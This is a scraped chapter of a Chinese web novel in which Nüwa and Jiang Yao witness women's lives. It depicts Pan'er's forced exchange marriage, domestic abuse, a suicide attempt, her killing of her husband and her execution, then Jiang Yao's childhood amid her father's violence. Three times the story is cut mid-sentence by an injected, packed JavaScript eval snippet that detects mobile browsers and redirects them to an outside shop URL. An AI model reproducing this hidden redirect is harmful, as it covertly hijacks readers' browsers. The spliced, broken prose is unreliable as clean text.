盼儿看着老师的背影消失在轰隆关上的大门之外,恍若看见,她艰难的前半生就此落幕。 她心中莫名涌起一股惧怕。那股惧怕推着她向门口冲去,想要追上老师的脚步。 父亲拦住她,把她往死里打,仍是没能将她眼里的倔强打断。盼儿死死地咬着牙,一声不吭地受着打。 父亲打累了,瘫在一旁喘气。盼儿摇摇晃晃地站起来,朝着门口走去。 “回来!”父亲在身后大喊道。 盼儿腿都不利索,可仍旧坚定朝前走去。 “你想让你娘死吗?” 一句话,让盼儿停下了脚步。 父亲的声音老气横秋:“我一个人供你和你弟弟读书,这些年拼死累活,也只能拆东墙补西墙。家里没钱了,你的书再读下去,我不可能亏着你弟,只能断了你娘的伙食了。她生了你弟以后,再也生不了孩子了,我任她白吃白住到现在,以后,她能不能再活下去,全凭你了。” 盼儿转过头来:“你要对她做什么?” 父亲看向屋内,那里是一片因窗户过于狭窄而造就的浓重的黑暗,什么也看不真切:“她本来就是我捡回来的,没有我,她早在垃圾堆里让野狗撕碎了。我不会把她怎么样,只不过是再也供不起了。是死是活,得看她的命了。” 盼儿紧紧握住拳头:“你这是杀人。” “杀人?就算警察来找我,也只能查出你娘是饿死的,判不了我什么罪。况且,”父亲鄙夷地一笑,“那疯婆娘也算是个人?” 盼儿朝着父亲走过来,一把将拳头打在了父亲脸上。 父亲恼怒不已,站起身来,脚正要踢在盼儿身上,却硬生生地止住了。 他两腿一弯,跪在了盼儿面前:“儿啊,这么多年,是爹对不住你。爹只求你这一次,嫁了吧。你要不嫁人,你弟是娶不回亲的,没人照顾你弟弟,他怕是连二十岁都活不过。” 盼儿冷着眼睛:“你不是总说,弟弟只要再上几年学,就能变好吗?” 父亲皱巴着脸,摇了摇头:“这么多年,我认清了。现在,我只盼着他能娶个媳妇回家,生下个健康的孩子。” “孩子要是再和他一样呢?” “不可能!老天爷不会这么待我们的!你弟弟一定能生个大胖小子,孩子肯定会有出息,领着他爷爷享福!” 父亲越说越兴奋,仿佛未来触手可及。 盼儿不再与沉浸在幻想中的父亲沟通,转过了身。她看着那禁闭的门栓,最终,还是没有打开。 【“打一棒子给个甜枣。父亲了解盼儿的性格,知道一味威逼难以奏效,所以利用盼儿 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17231384|197625||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的心软,让她过早地做出牺牲。”女娲道。 “这样的原生家庭,盼儿必须要有脱离的勇气才行。可是……这样的环境下,她根本别无选择。”姜姚长叹一声。】 父亲给盼儿找的那户人家里,有着一个哥哥,一个妹妹,与盼儿家里有些相像,而这在当地家庭当中并不常见,大多数家里都是五六个孩子。 两家同时成就了两门亲事:盼儿与那家的哥哥,盼儿的弟弟和那家的妹妹。这种婚姻方式在当地倒是很常见。 【“换亲。我小时候,一个不过五十户的小村子里,就有两家是这种情况。”姜姚道。 “通过交换牺牲品,两个家庭的香火都得以传承下去了,却无人在意,两个女性流了多少血泪。”女娲道。】 两家人娶亲与嫁女同时进行,迎亲车队在路上相遇,两队唢呐手兴致一触即发,纷纷将喇叭口朝向天空,吹得十里八方都能听到,唯独盼儿与对方妹妹在漫天喧闹中对视,宛如两个被隔绝在热闹之外的局外人。 盼儿走了一天的山路,来到了她今后生活的地方。情况比她想象得要好一些,她的丈夫至少会说话,不像她弟弟一样,只会傻笑,一句完整的话也说不出来。 盼儿因为自己比小姑子过得更好而隐感愧怍,没过几天,丈夫嫌盼儿在做饭时放少了盐,将她打了个半死。 盼盼虽然从小挨打惯了,可如今,打她的人换了。一个壮年男人的力气,与一个老头显然不在一个水平。她试着反抗,却根本打不过丈夫。直到婆婆闻声赶来,制止住了丈夫,这才免得盼儿被打死。 婆婆劝走丈夫,扶起了躺在地上的盼儿:“照顾自己男人,还是得下点功夫,多摸清他的脾气才行。我家儿子就是这个性子,你以后还是尽量顺着他,少挨点打吧。” 公公在一旁兜着手,凉凉地说道:“你这说的什么话,怎么还成我们的错了?我们是好人家,哪能跟疯子生出来的人一样。” 盼儿压了压心中的怒火:“是什么好人家,把我这个疯子的女儿娶回来了?” 婆婆指了指自己的小脚:“我娘家可是书香人家,我当年也是出来进去丫鬟不离身的小姐。我婆家更了不得了,官宦人家,跟我家是表亲。十里八方再没有人能配得上我了,我才跟你爹成了亲。” 盼儿惊讶道:“你们两人是表兄妹?那岂不是近亲结合?” “胡说什么?!”公公吹胡子瞪眼,“父辈之间的堂兄妹才是近亲,表兄妹是姑姨家的孩子,牵线的亲戚当中隔了个女人,那就是远亲了,根本不碍事的。” 婆婆附和道:“就是,我家孩儿根本没病,就是脾气差了点,人精神着呢!” 【姜姚摇了摇头:“自欺欺人。” “他们如此执迷不悟地以为女子不能传承他们的香火,可正是这对于女性的轻蔑,造就了他们两人一生的悲剧。”女娲道。】 盼儿见识到了丈夫的暴虐,在家中变得小心了起来。她尽量避免与丈夫说话,实在要说,也时刻观察着丈夫的脸色。一起下地干活时,她极力往多了干,用尽一切办法,避免惹丈夫不高兴。 她奉行着自己总结出的,在这个地方生存的唯一法则:只有低头,才能活下去。 18. 旧印 只是,她挨的打只是少了些,却并没有完全消失。丈夫的拳脚时不时就会降临,几个月后,在家里发现盼儿怀孕那日,才终于止住。公婆为了保护自己的孙子,严格看管起了丈夫,不让他再动盼儿一下。 而拳脚回归之际,是盼儿的女儿出生之时。当地有扔女婴的传统,盼儿的丈夫一见到孩子,当即就要扔掉。刚生产完的盼儿不顾丈夫的拳打脚踢,死死地拽着丈夫。丈夫一边打她,一边不停地向外走。 寒风交加之下,盼儿被丈夫带出了门口,血在地上拖了几十米远。在邻舍的指指点点之下,婆婆终于出面,从丈夫手中抢下了孩子。 此后,盼儿的生活变得更加难过了起来。她可以将所有的血泪咽到肚子里,小心翼翼地控制自己不惹丈夫生气,可却无法控制住女儿的哭声。每当女儿一哭,被吵得烦心的丈夫,总会把拳头打在盼儿身上,既为发泄自己的烦躁,又为一遍遍惩罚盼儿把孩子的性别生错,又执意留下了这个孩子。 婆婆极少拦阻丈夫,更多是在劝盼儿:“你生不出儿子,他可不心中有气嘛。等你生了儿子,一切就都好了。你不是就叫盼儿吗,这个名字既然能把你弟弟给盼来,说不定还真能给我把孙子盼过来。” 盼儿,盼儿。盼儿口中喃喃,蓦然发现,这两个字似乎变成了箍住她的咒语,她的人生一直逃不出这两个字。 她没有听从婆婆的话,将希望寄托在以后的儿子身上,反而将全身心放在了女儿身上。 女儿爱哭,她便自己编了许多摇篮曲,在女儿哭闹时安抚她。只是,每当她以美妙的歌声将女儿哄好,女儿往往又会在丈夫不明原因的怒吼声中惊慌地哭出来。 自己打不过,身边没人管,盼儿尝试了报警。 漫长难熬的等待过后,家里终于来了人。可那人却在训斥了丈夫几句之后,转而对盼儿说道:“这种家务事以后就别报警了,我们每天那么忙,可没空管你们这些鸡毛蒜皮的小事。” 那人刚走出门,院子里就传来了盼儿的惨叫声。 又是几年过去,丈夫的暴力愈加升级。起初,他还只是在家里背着人打,在发现整个世界都在默许他这种行为时,他开始不避讳打人的场合。在田间地头,在闹市大集,在村居委会,丈夫都会一次次肆意打向盼儿。 盼儿的生存法则又开始失效了。她发现,无论她如何小心,如何低头,都躲不过丈夫的拳脚。他的殴打不再有缘由,全凭一时兴起。 “我受不了了。”在被丈夫殴打完,丢在田间后,盼儿坐在地头,哭着向同村一位正在一旁休息的农妇说道。 农妇神色半分未变:“不过是挨男人点打,忍忍就过去了。谁家男人不打老婆呢?上次,我家里请客喝酒时,他们一群男人比谁打老婆打得更响嘞。” 盼儿沉默了许久,才问道:“没有任何一个人因为打老婆受罚吗?” “有。南村有个男人,把老婆活活打死了,判了刑。” “判了多久?”盼儿急切道。 “很轻,又减了刑,五年就放出来了。他回来说,打死自家老婆就是个家务事,没有重判的。” “家务事,判得轻。”盼儿若有所思。 在下一次殴打中,盼儿时隔多年,重新开始反抗。反正,就算打死了,判个几年就放出来了。 可是,硬碰硬之下,她的体力劣势尽显无疑。而她的反抗,让丈夫下了死手。盼儿肋骨被打断,躺在屋里无法动弹。 丈夫出了门,女儿不住哭,盼儿心中绝望无比,悲愤之下,爬到院子里,打开了农药。 她喝了一口,又要去喂女儿,真把药瓶端到女儿嘴边时,却怎么也下不去手了。 药物让她的脏腑不住翻滚。她痛苦地抱紧女儿,在等待死亡的空隙中,给女儿唱起了小时候的摇篮曲,安抚着哭个不停的女儿。 她的意识越来越沉,恍惚看到丈夫折返回家门,看了看倒在地上的农药瓶,森然一笑,拿起药瓶,对着女儿的嘴喂下去。 盼儿浑身爆发出一股力量,一跃而起,将药瓶夺了过来。女儿震天的哭声终于惊动了邻里,左邻右舍都跑了过来,将她送去了医院。 巨大的胃管插入胃中,盼儿在痛苦中看见,丈夫正一脸漠然地盯着她。她心中万般滋味翻涌,最终凝成了一股力量。 回家后,她养好身体,趁着夜晚丈夫熟睡之际,悄悄起身,去院子里提起斧头,砍向了丈夫。 一刀又一刀,刀刀破肉入骨,丈夫被她砍得血肉模糊。等到那股支撑她的恨意随着鲜血流走之时,她方才扔下斧头,脱力地倒在了地上。 她一抬眼,见女儿不知什么时候打开了房门,正静静地注视着这一切。 她脱下溅满血的外套,用干净的里衣拥抱住了女儿:“妈妈要有一段时间不在家里了,你自己要照顾好自己,等妈妈回家。” 反正,五年而已。五年之后,女儿连小学都没上完。 “嗯。”女儿乖乖地点了点头。 她抱了女儿一夜,第二天,自己去派出所自首,被关到了看守所。 这里关押着各式各样犯事的女人,一进来,一个中年女人就问盼儿:“你怎么进来的?” “杀了我男 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17231385|197625||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 人。”盼儿淡淡地说道。 “俺是被男人打的受不了,才弄死他的。”女人热络地说道,“俺村大学生说过,老婆汉子之间的事,只是家庭暴力。男人就算把老婆打死了,顶多判个几年。你放心,咱都没什么事的。” 却听另一个女人说:“你们想得太简单了。只判几年的,是男人打老婆。男人力气大,把老婆打死了,也是因为他力气大,没办法的事。可你一个女人,要是不抱着杀了男人的心,你能把男人打死吗?你看是不是这个理?” 盼儿的心慌了起来。在她一下一下将丈夫剁成肉片时,在她发现自己的一切都被女儿看在眼里时,她都没有这么慌过。 所有的一切,都在法庭结束之时落下。 “死刑,立即执行。” 盼儿怔然回头,看向旁听席。这是她第一次在外面见到自己的母亲。母亲在弟媳的搀扶下,抱着盼儿的女儿,哭得撕心裂肺。 那哭声在她脑海中不断回响,直到被一声沉闷入体的枪声中断。 “没想到,这次是被爆头。”姜姚紧紧捂住头,猛烈地晃着脑袋,试图将那股脑浆翻涌的不适感晃掉。 女娲将手放在姜姚头顶轻轻按摩。 姜姚慢慢地平静下来,叹了一口气:“盼儿的一生太苦了,最后的结局尤其苦。” 女娲按摩的手仍旧不停:“盼儿以为,所谓的家务事能够给男人减刑,就也能给女人减刑。可是,她不知道,社会规则根本不是如此运转的。对于男性来说,婚姻是保命符,可对于女性来说,却成了催命符。” 姜姚道:“盼儿幼时能赶跑围着她欺负的一群小孩,长大能杀死家暴她的那个男人,可是,她最后面临的,是更大更深更重的不公,仅凭她一个人的力量,根本无力反抗。” “盼儿生活的时代,距离你很近了吧?”女娲问道。 “很近,甚至已经有所重合了。此前几次直播中,九娲她们生活的时代,距离我还很遥远。而盼儿这样的女性,我却是亲眼见过。我小时候看到过,一个阿姨被她丈夫打得奄奄一息,躺在地上起不来。到现在我也不知道,她怎么样了。” 女娲叹道:“这几场人生下来,我所见女性身上的压迫,花样百出,层出不穷。这些压迫皆为父系社会所施加,可具体降临到每个人头上,又各不相同。” 姜姚有些歉疚:“女娲,很抱歉让你看到了这么多悲伤压抑之事,接下来的直播,你还要继续观看吗?” 女娲说道:“要。只是,我想指定直播人选。” 姜姚问道:“谁?” “你。” 19. 你我 “我?”姜姚惊讶道。 女娲点了点头。 “可是,我的一生,只是最为寻常普通的一生,乏善可言。” 女娲笑了笑:“我们以前观看的所有直播,不都是寻常女子的一生吗?” “好。”姜姚没有犹豫,答应了下来。 “不过,”女娲提醒道:“要直播你的一生,意味着,你要将自己所有不愿为人所知的地方,尽数展现在我面前。姜姚,你做好准备了吗?” “自然。”姜姚笑道,“给我的朋友看最真实的我自己,又有何妨呢?” 她拉起女娲的手:“第六场直播,开始。” 姜姚的一生,比起前面的五位女子幸福得多。 她出生在人类社会高度发达的时期,不用如同九娲一般,时不时忍饥挨饿,随时可能被疾病与野兽夺走生命。 她降落在和平富强的土地,不用如同娲娲一般,某一天突然被一群外族人闯进家门,变成他们的奴隶。 她生长在文明开放的社会,不用如同娃娃一般,忍受断骨摧筋、欺身辱心之痛。 她生活在信封科学的时代,不同如同木兰一般,在与旧社会的抗争中,不慎让自己的性命沦为抗争的赌注。 她成长在健康健全的家庭,不用如同盼儿一般,一出生便将人间苦难背负在了身上。 可是,她的人生,依然有着点点滴滴的苦痛。而这些苦痛,绝大部分来自于她的父亲。 父亲喜爱组饭局喝大酒,本来脾气就暴躁易怒,喝醉酒后,更是一言不合就将拳头挥向母亲。他虽没有盼儿的丈夫那样残暴,却也让姜姚的童年充满了阴翳。 一次,姜姚惊心动魄地看见,父亲将暖瓶扔到了母亲身上,随即沉沉睡去。 母亲处理好身上的血泡,蹲下身问姜姚:“姚姚,和我一起回姥姥家吗?” 幼小的姜姚以为,母亲身上的伤看不见了,便是好了。此时,母亲只是如同往常一般,单纯问她想不想回不回姥姥家。 她在心中掂量了片刻。回姥姥家,可要走很远很远的路,从早到黑,走上整整一天才能到。可是,不回姥姥家,那她只能在家和醉得不省人事的父亲单独相处。 “好。”姜姚答应了。 姜姚手臂高高抬起,牵着妈妈的手,眼睛好奇地看向四周。 大街上的行人男女老少都有。男人和女人们一起下地干活,男孩与女孩们共同结伴回家,这个世界仿佛从来便是这样运转着。 唯一有些奇怪的,只有在街上行走的老奶奶们。她们迈着歪斜的八字步行走,脚异乎寻常地小。 【女娲感慨道:“这些女性明明生活在这个时代,身上却还是有着旧时代酷刑的印记。” “娃娃距离我们并不遥远。她若是能活到现在,恐怕也是她们当中的一员。”姜姚道。】 看着老人歪斜的步子,姜姚傻傻地问母亲:“人老了,脚会变小吗?” “呃……”母亲不知该如何做答,只得点了点头,作为堵住姜姚好奇心的缓兵之计。 到达姥姥家时,太阳已经落山了。 姥姥见了母亲很是意外,询问母亲离家出走的原因,被母亲以一句“吵架了”一笔带过。随后,母亲在杂物间找了床破烂的旧被子,铺在地上,睡了下来。 发霉的被褥盖在身上,姜姚浑身都像是有千万只虫子在爬。这种惊悚的感觉让她忘了从家里出走的理由,吵闹起要回家来。 母亲却没有半分动容,只是一下一下地拍着姜姚,哄她入睡。姜姚吵累了,呼呼睡去,睡梦中还在想,母亲为什么对她这么坏,不和她站到一边。 与姜姚站在了一起的,反倒是舅妈。天还没亮,舅妈就将母亲的衣物扔出了门外:“嫁出去的闺女回娘家,是想让娘家倒霉,没安半分好心!带着你那没把的孩,滚回你自己家去!” 姜姚吓得大哭不已,母亲默默抱起姜姚,捡起衣物,向着父亲家走去。姜姚在母亲的怀中看向姥姥屋内,隐约看见舅舅正站在门口,牢牢地堵住了姥姥走向屋外的路。 黎明前的乡间小路很是冷清,根本看不到几个人。 姜姚心中无比害怕。拖拉机轰隆隆的响声,行人渐近又渐远的脚步声,风吹动树叶的响声,每一道声音落在姜姚耳中,都让她身体一颤,犹如惊弓之鸟一般。好在,这些声音,都是乡村田地里最为寻常的声音,只是比白日清晰了些。 姜姚的心渐渐安定下来,突然,前方响起了一阵突兀的声音——铁锨打在肉身上的噼啪声,女子断断续续的啜泣声,孩子凄惨的哭喊声。 母亲捂住姜姚的眼睛,绕过声音源头,自旁边走了过去。可是,姜姚依旧能够从指缝当中看见,一位妇女正在被她的丈夫殴打,丈夫见有人经过,才堪堪停下了手中的铁锨。 女子倒在地上,被打得奄奄一息。旁边那个痛苦的孩子,应该是她女儿,看起来跟姜姚差不多大。姜姚立时也被吓得哭了起来,母亲死死捂住她的嘴,飞快地向前走去。 “妈,那个人!”已经离去很远了,姜姚的手指还在指向来时的方向。 “看到了!她是你姥姥村里的,按辈分,你该叫她一声大姨。我跟她走得并不近,只知道她跟我差不多时间嫁人,却不知道她嫁的是人是鬼。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17231386|197625||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 唉,苦命人啊。” “妈,我们回去看看那个大姨吧?” “妈也想,可是,我们过去,说不定也会挨打。荒郊野岭的,他打了你,我们也没处说。” 姜姚一直回头,直到那三人的身影消失在视线之外,她心中的闷痛也没有消失。 她想要与母亲说话,不知为何,却是怎么也说不出一个字。她盼着母亲能够先开口说话,只要说话了,她心中的闷痛就能缓解。 母亲沉默了一会儿,终于开口说道:“姚姚,你爸再怎样过分,也没有把我打成那样。看来,比起别人,他还算好的。以后,他怎么打我,我都会忍的。” 姜姚心中的闷痛更深了。 归家之后,家里的吵闹声又响了起来。好多次,姜姚都想要母亲再带自己回姥姥家,可母亲没有再提过,姜姚也说不出口。毕竟,她们在姥姥家时,针对母亲的争吵声也并没有停止,只是声音发出之人换了一个。 姜姚想,那日,舅妈一定是听了她想要回家的吵闹声,才赶她和妈妈走的。 她的心中涌出一股憋闷之感,这股感觉很快聚集成了一把刀,刺向了她的五脏肺腑当中。她当时并不知道这种感觉为何,很久之后才知道,它叫做内疚。 在内疚驱使之下,从此,姜姚将家中所有的拳脚争吵,归结于自己的过错。 【女娲揽住姜姚:“这不是你的错。” 姜姚紧了紧握着女娲手的掌心:“人小时候走过的很多弯路,随着成长,都能自动纠正过来。放心,我早就已经走出来了。”】 那个时候的姜姚,却并不知道自己思考的路径有些弯。她经常在想,她应该做些什么,来弥补自己对于这个家犯下的弥天大错。 她试着在父亲动手时护住母亲,试着对父亲出手回击,可也只是变成了母女两人一起挨打。父亲一边打,一边以各种脏话骂姜姚,痛诉生了个女儿让他蒙上了这辈子最大的污点。母亲则哭得更为伤心。 她也试着在父亲尚且平和的时候,求父亲不要再打母亲。可父亲只是轻描淡写道:“我跟你妈的事,是夫妻间的事,你一个小孩少管闲事。” 姜姚不断找寻其他的办法。认字之后,她偶然从电视上听到了一句话,“家和万事兴”。她当即关掉电视,拿起小铅笔刀,走向墙角。 女娲跟随着姜姚,认认真真地在各个墙角刻下一个又一个的“家和万事兴”。 【姜姚有些赧然:“女娲,让你见识到了好笑的事。我那时候,可真是太傻了。” 女娲却抱了抱姜姚:“如果我能穿越时空,在那个时候遇见你,该有多好。”】